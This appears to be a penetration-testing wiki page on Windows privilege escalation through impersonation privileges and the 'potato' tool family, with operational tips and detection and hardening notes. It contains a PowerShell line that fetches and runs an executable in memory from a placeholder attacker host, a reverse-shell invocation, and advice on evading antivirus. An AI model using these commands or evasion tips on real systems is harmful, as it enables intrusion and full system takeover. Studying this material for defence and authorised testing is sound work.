> [!WARNING] > **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.

> Note: A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.

## Requirements and common gotchas
|
||||
|
||||
All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
|
||||
|
||||
- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
|
||||
- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.)
|
||||
|
||||
Check privileges quickly:
|
||||
|
||||
```cmd
|
||||
whoami /priv | findstr /i impersonate
|
||||
```
|
||||
|
||||
Operational notes:
|
||||
|
||||
- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
|
||||
- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.

# PrinterNotify variant

### SigmaPotato (updated GodPotato fork)
|
||||
|
||||
SigmaPotato adds modern niceties like in-memory execution via .NET reflection and a PowerShell reverse shell helper.
|
||||
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
[SigmaPotato]::Main("cmd /c whoami")
|
||||
|
||||
# Or ask it to spawn a PS reverse shell
|
||||
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
|
||||
```
|
||||
|
||||
## Detection and hardening notes
|
||||
|
||||
- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon can surface useful telemetry: Event ID 1 (process creation), 17/18 (named pipe created/connected), and command lines spawning child processes as SYSTEM.
|
||||
- Spooler hardening: Disabling the Print Spooler service on servers where it isn’t needed prevents PrintSpoofer-style local coercions via spoolss.
|
||||
- Service account hardening: Minimize assignment of SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege to custom services. Consider running services under virtual accounts with least privileges required and isolating them with service SID and write-restricted tokens when possible.
|
||||
- Network controls: Blocking outbound TCP/135 or restricting RPC endpoint mapper traffic can break RoguePotato unless an internal redirector is available.
|
||||
- EDR/AV: All of these tools are widely signatured. Recompiling from source, renaming symbols/strings, or using in-memory execution can reduce detection but won’t defeat solid behavioral detections.
